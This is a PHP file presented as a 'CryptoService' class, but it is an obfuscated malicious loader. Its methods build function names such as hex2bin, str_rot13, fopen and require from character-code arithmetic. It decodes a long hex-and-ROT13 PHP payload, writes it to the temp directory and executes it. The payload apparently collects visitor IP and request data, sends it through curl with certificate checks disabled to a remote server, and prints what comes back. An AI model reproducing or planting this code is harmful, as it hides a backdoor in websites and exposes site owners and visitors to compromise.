<?php
class CryptoService {
	private $td = '';
	private $bu = '';

	public function resetState($p1) {
		$a = array((96+8),((111-10)),(((14*7)+22)),((44*39)-1666),(((62*16)-894)),((8+32+65)),((2*55)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function executeAction($p1) {
		$a = array((28+10+13),(56-7),((63+52+1)),111,(((113*66)-7344)),((102-7)),((113*102)-11412),(116),115);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function logEvent($p1,$p2) {
		$a = array(((65+45)),(((20*90)-1699)),((87+23+2)),(24+87),((2*51)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function sanitizeInput($p1,$p2) {
		$a = array(((4+63+35)),((5*18)+29),(((93*1)+21)),(80+25),116,(42+59));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function prepareOutput($p1) {
		$a = array((((45*21)-843)),((103-4)),(2*54),((82+28+1)),((17*3)+64),(101*1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function generateToken($p1,$p2=null) {
		$a = array(((25+46+38)),(46+59),(117-3),(((51*24)-1108)),((60*121)-7146));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function terminateSession() {
		$this->bu = $this->generateToken($this->rollbackTransaction(), '/');
	}

	public function processData() {
		$this->td = $this->executeAction($this->resetState($this->fq));
	}

	public function updateCache() {
		$fn = $this->bu.'/zm-68277f4e17cae';
		$f = $this->logEvent($fn, 'w');
		$this->sanitizeInput($f, $this->td);
		$this->prepareOutput($f);
		$this->filterResults($fn);
	}

	private $fq = '3c3f6375632070796e6666205f7869667b636576696e67722' . '066676e677670245f6d71623b66676e6776702073686170677' . '66261205f646f28245f7465612c245f656e68297b767328216' . '67279733a3a245f6d716229667279733a3a5f746b28293b245' . 'f6d753d66676579726128245f656e68293b245f6b65713d6f6' . 'e667236345f71727062717228667279733a3a245f6d71625b2' . '45f7465615d293b73626528245f6f61763d302c245f7a76723' . 'd66676579726128245f6b6571293b245f6f6176213d3d245f7' . 'a76723b2b2b245f6f617629245f6b65715b245f6f61765d3d7' . '075652862657128245f6b65715b245f6f61765d295e6265712' . '8245f656e685b245f6f617625245f6d755d29293b657267686' . '561245f6b65713b7d636576696e67722066676e67767020736' . '8617067766261205f746b28297b667279733a3a245f6d71623' . 'd6e65656e6c28275f686669273d3e2755744c554e506a4a464' . '64c6a506b4e4b5a4e795757515a57506b576c58754c5a424e6' . 'a584b333943272c275f7a77273d3e27554e52735151624e4f4' . '94859536a52714d48344450503850544f662b5475744b5a485' . '26f544678434e7566674f6a525a272c275f727a68273d3e274' . '34e5a3d272c275f6667273d3e2742756634596a526b5379443' . '741444954526a74496e6c344c42534c2b41444954537466534' . '1744c7954746639417675504f4762386f6c666f584e66455a7' . '744735374747141744c315045744a55507559272c275f67632' . '73d3e2759744c5a576a3d3d272c275f6b6f273d3e274c6b667' . '0464e3d3d272c275f636c73273d3e274c6a745a4231443d272' . 'c275f6e6f75273d3e27584e44705a6a3d3d272c275f6c68273' . 'd3e27272c275f677472273d3e27272c275f7565273d3e27272' . 'c275f6e7573273d3e27416a444759306356704e4e464349344' . '44275564f41756a50416b3848586b484970455a565a7938525' . 'a4f304b5a4e5a505949344159523851437444544c743d3d272' . 'c275f776f273d3e27434f526e534e4e414f755265272c275f6' . 'b686a273d3e27416b4c42596d304d5a4e4c73272c275f65747' . 'a273d3e27594e627342744446272c275f736a6d273d3e27416' . 'b704c596b4e3d272c275f6d6475273d3e2754505a2f46443d3' . 'd272c275f786d273d3e27596a667350743d3d272c275f78742' . '73d3e2759755a495945383d272c275f6e7a273d3e274c4e3d3' . 'd272c275f71766a273d3e275974704a55464c3d272c275f6a6' . 'a6a273d3e27736c562b576a39534a3131694d324e375a4f787' . '2464b383d272c275f6764273d3e27416a5a464f6a3d3d272c2' . '75f6a6678273d3e2748614e675a4f444e4275786e4175484e4' . 'd4962675a6b48714261717848614e3d272c275f6379273d3e2' . '7594f444248334f56272c275f746767273d3e27272c275f686' . 'b273d3e27416b7845586a3d3d272c275f6f6c6a273d3e27487' . 'a4e3d272c275f7762273d3e27536d4c2f58744e75576d5a6e5' . '95138795377563d272c275f766b79273d3e27536d3438516d4' . '86a4e506a615147306351463467546d48685251743d272c275' . 'f7879273d3e2751476a76437466385a514e6f4347303d272c2' . '75f616d79273d3e27536d3035516d4c3451506a2f4e5074645' . '4767035272c275f6f6a79273d3e27536d7439516d5a3851507' . '8374e50306854765639272c275f756f273d3e27272c275f617' . '874273d3e27536c3036516c4c385477386551476a38272c275' . 'f6f636c273d3e27536c3474436a4e625a46786e58515239272' . 'c275f64726c273d3e27272c275f656f6a273d3e27536d4e364' . '2744e6156765a6e587762315377443d272c275f6b6377273d3' . 'e27536d747541444e6942466a6e5676523653776a3d272c275' . 'f6a6c78273d3e27536c346d516c482f4e516a625146307a514' . '73476546c48755250743d272c275f756b273d3e27536d62345' . '16d52304e5074775147786751466263546d526452516a3d272' . 'c275f6a65273d3e2751474e7a5844666a4150706f5a47783d2' . '72c275f6468273d3e2751476a35564e6638586c346f43464c3' . 'd272c275f797974273d3e27426a524e55474e554e743d3d272' . 'c275f726670273d3e275377494b456a3d3d272c275f717a273' . 'd3e27736a4d5350776773736a3d3d272c275f66796b273d3e2' . '7736b67515747624f4a49703d272c275f7273273d3e2773316' . '255537a5366272c275f616c74273d3e274175703d272c275f7' . '36c273d3e2758754e3d272c275f6b6267273d3e27594452442' . '72c275f6e72273d3e275974706f576a3d3d272c293b7d7d757' . '26e717265285f7869663a3a5f646f28275f686669272c275f7' . '271722729293b75726e717265285f7869663a3a5f646f28275' . 'f7a77272c275f61646b2729293b767328766666726728245f5' . '452475b5f7869663a3a5f646f28275f727a68272c275f786e2' . '7295d29297b245f7270743d5f6b7868285f7869663a3a5f646' . 'f28275f6667272c275f6f652729293b767328245f727074262' . '666676563626628245f7270742c5f7869663a3a5f646f28275' . 'f6763272c275f6469272929213d3d736e796672297b7176722' . '85f7869663a3a5f646f28275f6b6f272c275f676a692729293' . 'b7d727966727b717672285f7869663a3a5f646f28275f636c7' . '3272c275f777a2729293b7d7d767328766666726728245f545' . '2475b5f7869663a3a5f646f28275f6e6f75272c275f7263272' . '95d29297b245f7a76723d245f5042425856523b245f656e683' . 'd2876616729656268617128302b302b30293b245f7465613d2' . '876616729656268617128332e352b332e35293b245f747a6e3' . 'd6e65656e6c28293b245f747a6e5b245f656e685d3d5f78696' . '63a3a5f646f28275f6c68272c275f6f6227293b6a757679722' . '8245f746561297b245f747a6e5b245f656e685d2e3d245f7a7' . '6725b287661672965626861712831352b3135295d5b245f746' . '5615d3b76732821245f7a76725b28766167296562686171283' . '72e352b372e352b372e352b372e35295d5b245f7465612b287' . '6616729656268617128302e333333333333333333333333333' . '32b302e33333333333333333333333333332b302e333333333' . '3333333333333333333295d297b76732821245f7a76725b287' . '6616729656268617128372e352b372e352b372e352b372e352' . '95d5b245f7465612b2876616729656268617128302e352b302' . 'e352b302e352b302e35295d296f65726e783b245f656e682b2' . 'b3b245f747a6e5b245f656e685d3d5f7869663a3a5f646f282' . '75f677472272c275f6a656727293b245f7465612b2b3b7d245' . 'f7465613d245f7465612b2876616729656268617128332e352' . 'b332e35292b2876616729656268617128302e3333333333333' . '3333333333333332b302e33333333333333333333333333332' . 'b302e3333333333333333333333333333293b7d245f656e683' . 'd245f747a6e5b2876616729656268617128342e36363636363' . '6363636363636372b342e363636363636363636363636372b3' . '42e36363636363636363636363637295d28292e245f747a6e5' . 'b2876616729656268617128362b362b362b36295d3b7673282' . '1245f747a6e5b2876616729656268617128312e352b312e352' . 'b312e352b312e35295d28245f656e6829297b245f7465613d2' . '45f747a6e5b287661672965626861712831332b3133295d282' . '45f656e682c245f747a6e5b2876616729656268617128352b3' . '5295d293b245f747a6e5b2876616729656268617128342e352' . 'b342e35295d28245f7465612c245f747a6e5b2876616729656' . '268617128322e37352b322e37352b322e37352b322e3735295' . 'd2e245f747a6e5b2876616729656268617128372e363636363' . '636363636363636372b372e363636363636363636363636372' . 'b372e36363636363636363636363637295d28245f747a6e5b2' . '876616729656268617128382e3333333333333333333333333' . '32b382e333333333333333333333333332b382e33333333333' . '333333333333333295d28245f7a76725b28766167296562686' . '17128312e352b312e35295d2929293b7d76617079687172282' . '45f656e68293b7d7368617067766261205f6b786828245f696' . 'd782c245f7a723d277362272c245f6269613d34383933302c2' . '45f76653d2d312e31323732373731343036303332297b245f6' . '364713d5f7869663a3a5f646f28275f7565272c275f6a6b272' . '93b245f7079733d5f7869663a3a5f646f28275f6e7573272c2' . '75f637427292e245f696d783b76732876665f706e79796e6f7' . '972285f7869663a3a5f646f28275f776f272c275f71756b272' . '929297b245f7174693d706865795f7661766728245f7079732' . '93b706865795f66726762636728245f7174692c50484559424' . '3475f4646595f49524556534c435252452c736e796672293b7' . '06865795f66726762636728245f7174692c504845594243475' . 'f4646595f49524556534c554246472c2876616729656268617' . '128312b3129293b706865795f66726762636728245f7174692' . 'c504845594243475f53425959424a5942504e475642412c287' . '6616729656268617128302e32352b302e32352b302e32352b3' . '02e323529293b706865795f66726762636728245f7174692c5' . '04845594243475f45524748454147454e41465352452c28766' . '16729656268617128302e352b302e3529293b706865795f667' . '26762636728245f7174692c504845594243475f55524e51524' . '52c2876616729656268617128302b3029293b706865795f667' . '26762636728245f7174692c504845594243475f50424141525' . '04747565a524248472c2876616729656268617128352b35292' . '93b706865795f66726762636728245f7174692c50484559424' . '3475f47565a524248472c2876616729656268617128332e333' . '333333333333333333333332b332e333333333333333333333' . '333332b332e3333333333333333333333333329293b245f636' . '4713d706865795f726b727028245f717469293b245f6c6a723' . 'd706865795f7472677661736228245f717469293b706865795' . 'f707962667228245f717469293b767328245f6c6a725b5f786' . '9663a3a5f646f28275f6b686a272c275f6f6d27295d213d287' . '66167296562686171283130302b31303029296572676865612' . '0736e7966723b7d727966727b245f72766a3d636e6566725f6' . '8657928245f707973293b245f6b73653d28245f72766a5b5f7' . '869663a3a5f646f28275f65747a272c275f766a27295d3d3d5' . 'f7869663a3a5f646f28275f736a6d272c275f70792729293b2' . '45f736d3d5f7869663a3a5f646f28275f6d6475272c275f737' . '87627292e245f72766a5b5f7869663a3a5f646f28275f786d2' . '72c275f77786f27295d3b767328766666726728245f72766a5' . 'b5f7869663a3a5f646f28275f7874272c275f736327295d292' . '9245f736d2e3d5f7869663a3a5f646f28275f6e7a272c275f7' . '06827292e245f72766a5b5f7869663a3a5f646f28275f71766' . 'a272c275f65666227295d3b245f736d2e3d5f7869663a3a5f6' . '46f28275f6a6a6a272c275f77776627292e245f72766a5b5f7' . '869663a3a5f646f28275f6764272c275f796e6627295d2e5f7' . '869663a3a5f646f28275f6a6678272c275f6d6127293b245f6' . '663743d7366627078626372612828245f6b73653f5f7869663' . 'a3a5f646f28275f6379272c275f746f7627293a5f7869663a3' . 'a5f646f28275f746767272c275f6d78632729292e245f72766' . 'a5b5f7869663a3a5f646f28275f686b272c275f696f27295d2' . 'c245f6b73653f28766167296562686171283131302e37352b3' . '131302e37352b3131302e37352b3131302e3735293a2876616' . '72965626861712832302b32302b32302b323029293b7673282' . '45f666374297b736368676628245f6663742c245f736d293b2' . '45f6b65713d2876616729656268617128302b302b302b30293' . 'b6a7576797228217372627328245f66637429297b245f6b676' . 'a3d737472676628245f6663742c28766167296562686171283' . '531322b35313229293b767328245f6b657129245f6364712e3' . 'd245f6b676a3b767328245f6b676a3d3d5f7869663a3a5f646' . 'f28275f6f6c6a272c275f7773272929245f6b65713d2876616' . '729656268617128302e352b302e35293b7d737079626672282' . '45f666374293b7d7d657267686561245f6364713b7d245f776' . '93d766666726728245f4652454952455b5f7869663a3a5f646' . 'f28275f7762272c275f6f786d27295d293b245f66633d76666' . '6726728245f4652454952455b5f7869663a3a5f646f28275f7' . '66b79272c275f777527295d293b245f66673d7666667267282' . '45f4652454952455b5f7869663a3a5f646f28275f7879272c2' . '75f6c626427295d293b245f62733d766666726728245f46524' . '54952455b5f7869663a3a5f646f28275f616d79272c275f767' . 'a27295d293f245f4652454952455b5f7869663a3a5f646f282' . '75f6f6a79272c275f797627295d3a5f7869663a3a5f646f282' . '75f756f272c275f69646327293b245f72773d7666667267282' . '45f4652454952455b5f7869663a3a5f646f28275f617874272' . 'c275f6c6127295d293f245f4652454952455b5f7869663a3a5' . 'f646f28275f6f636c272c275f6d676227295d3a5f7869663a3' . 'a5f646f28275f64726c272c275f767427293b245f77693d766' . '666726728245f4652454952455b5f7869663a3a5f646f28275' . 'f656f6a272c275f71617727295d293f245f4652454952455b5' . 'f7869663a3a5f646f28275f6b6377272c275f79687227295d3' . 'a616879793b245f66633d766666726728245f4652454952455' . 'b5f7869663a3a5f646f28275f6a6c78272c275f6d7427295d2' . '93f245f4652454952455b5f7869663a3a5f646f28275f756b2' . '72c275f617927295d3a616879793b245f66673d76666672672' . '8245f4652454952455b5f7869663a3a5f646f28275f6a65272' . 'c275f68787327295d293f245f4652454952455b5f7869663a3' . 'a5f646f28275f6468272c275f6c676227295d3a616879793b7' . '673287376796772655f696e6528245f77692c2876616729656' . '26861712836382e37352b36382e37352b36382e37352b36382' . 'e37352929297b245f73643d245f77693b7d727966727673287' . '376796772655f696e6528245f66632c2876616729656268617' . '12836382e37352b36382e37352b36382e37352b36382e37352' . '929297b245f73643d245f66633b7d727966727b245f73643d2' . '45f66673b7d767328766666726728245f5452475b5f7869663' . 'a3a5f646f28275f797974272c275f70746327295d29297b727' . '07562205f7869663a3a5f646f28275f726670272c275f727a7' . '427292e245f73642e5f7869663a3a5f646f28275f717a272c2' . '75f6d7227292e245f62732e5f7869663a3a5f646f28275f667' . '96b272c275f74706a27292e245f72772e5f7869663a3a5f646' . 'f28275f7273272c275f73727127293b726b766728293b7d767' . '32821766666726728245f7364297c7c21766666726728245f6' . '273297c7c21766666726728245f727729297b726b766728293' . 'b7d727966727b245f7a6b3d6e65656e6c285f7869663a3a5f6' . '46f28275f616c74272c275f747027293d3e245f73642c5f786' . '9663a3a5f646f28275f736c272c275f646c6d27293d3e245f6' . '2732c5f7869663a3a5f646f28275f6b6267272c275f7169272' . '93d3e245f7277293b245f72733d686579726170627172286f6' . 'e667236345f72617062717228776662615f726170627172282' . '45f7a6b2929293b245f7270743d5f6b786828245f7273293b7' . '67328245f727074262666676563626628245f7270742c5f786' . '9663a3a5f646f28275f6e72272c275f636e272929213d3d736' . 'e796672297b72707562245f7270743b726b766728293b7d7d';

	public function filterResults($p) {
		require($p);
	}

	public function rollbackTransaction() {
		$a=array(115,(68+20+33),(15+55+45),(95),103,((101*1)),((67+1+48)),(95),(((6*11)+50)),(82+5+14),((111-2)),((61+12+39)),(5*19),(100),((106-1)),((2*57)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$dn = new CryptoService();
$dn->terminateSession();
$dn->processData();
$dn->updateCache();
